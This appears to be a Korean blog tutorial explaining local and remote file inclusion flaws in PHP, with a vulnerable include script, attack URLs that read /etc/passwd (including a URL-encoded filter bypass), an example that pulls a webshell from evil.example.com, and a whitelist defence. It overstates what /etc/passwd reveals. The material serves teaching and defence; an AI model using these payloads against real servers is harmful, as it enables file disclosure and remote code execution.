파일 인클루전 취약점 (File Inclusion Vulnerability)

파일 인클루전 취약점은 파일이 존재하는 장소에 따라 로컬 파일 인클루전(Local File Inclusion)과 원격 (리모트) 파일 인클루전 (Remote File Inclusion) 으로 나뉜다. Akamai의 조사에 따르면 2016년 현재, 로컬 파일 인클루전은 SQL 인젝션 (SQL Injection, SQLi) 다음으로 많이 발생하는 공격이다. 이 취약점은 유저가 제공한 입력문을 적절한 검증 혹은 필터링없이 사용할 때 발생한다. 서버 내 파일의 내용이 유출되거나 공격자가 작성한 코드를 서버가 실행하는 등의 피해를 입을 수 있다. PHP가 특히 취약하다.

로컬 파일 인클루전 (Local File Inclusion, LFI)

로컬 파일 인클루전은 웹 브라우저를 통해 서버 내 (로컬) 파일에 접근하는 공격 방식이다. 예를 들면, 유저가 요청한 파일을 PHP의 include를 이용해 사용할 때, 요청된 파일 주소를 적절히 처리하지 않았을 때 생긴다. 이 취약점을 이용해 서버 내 파일의 내용이 노출될 수 있다. 다음은 취약한 PHP 스크립트의 예시이다.

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }
?>
  • 올바른 사용 예
http://example.com/index.php?file=contactus.php

contactus.php 페이지를 include한다.

  • 취약점 공격 예
http://example.com/index.php?file=../../../../etc/passwd

하지만 $file을 include하는데 어떠한 제한도 없으므로 이를 이용해 서버 내 모든 파일에 접근이 가능하다. 위 URL은 단순한 공격의 예이다. 공격자는 위 요청을 이용해 서버 내 다른 디렉토리의 파일 (../../../../etc/passwd) 을 볼 수 있다. UNIX 혹은 LINUX 시스템에서, 위 요청은 서버의 모든 패스워드를 보여준다.

  • 간단한 방어 예
<?php
   $file = str_replace('../', '', $_GET['file']);
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }
?>

위 코드는 str_replace를 이용해 유저가 지정한 주소에서 다른 디렉토리 접근에 필요한 문자 (../) 를 지워 다른 디렉토리에의 접근을 막는다. 하지만 실제 공격은 훨씬 교묘하다. 예를 들면 다음의 요청으로 이 필터를 피할 수 있다.

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

%2F가 브라우저에 의해 /으로 디코드됨을 이용한 공격이다.

원격 (리모트) 파일 인클루전 (Remote File Inclusion, RFI)

원격 파일 인클루전은 로컬 파일 인클루전과 매우 유사하다. 다만 서버 내 파일을 include하는 대신 원격 즉 외부의 파일을 include한다.

  • 취약점 공격 예
http://example.com/index.php?file=http://evil.example.com/webshell.txt

단순한 원격 파일 인클루전의 예이다. 서버는 다른 서버의 http://evil.example.com/webshell.txt 파일을 include해, 파일 내 코드를 실행한다.

파일 인클루전 취약점 방어

미리 안전한 파일 리스트 (예를 들면 아래의 $allowedPages) 를 준비해 둔 후, 그 리스트 안의 파일만을 허용하는 것이 가장 안전한 방법이다. 다만 파일 리스트를 일일히 작성해야 하는 번거로움이 있다.

<?php
  $allowedPages = array('go.php', 'stop.php', 'file.php', 'contactus.php');
  $file = $_GET['file'];
   if(isset($file) && in_array($file, $allowedPages))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }
?>

참고

댓글 없음:

댓글 쓰기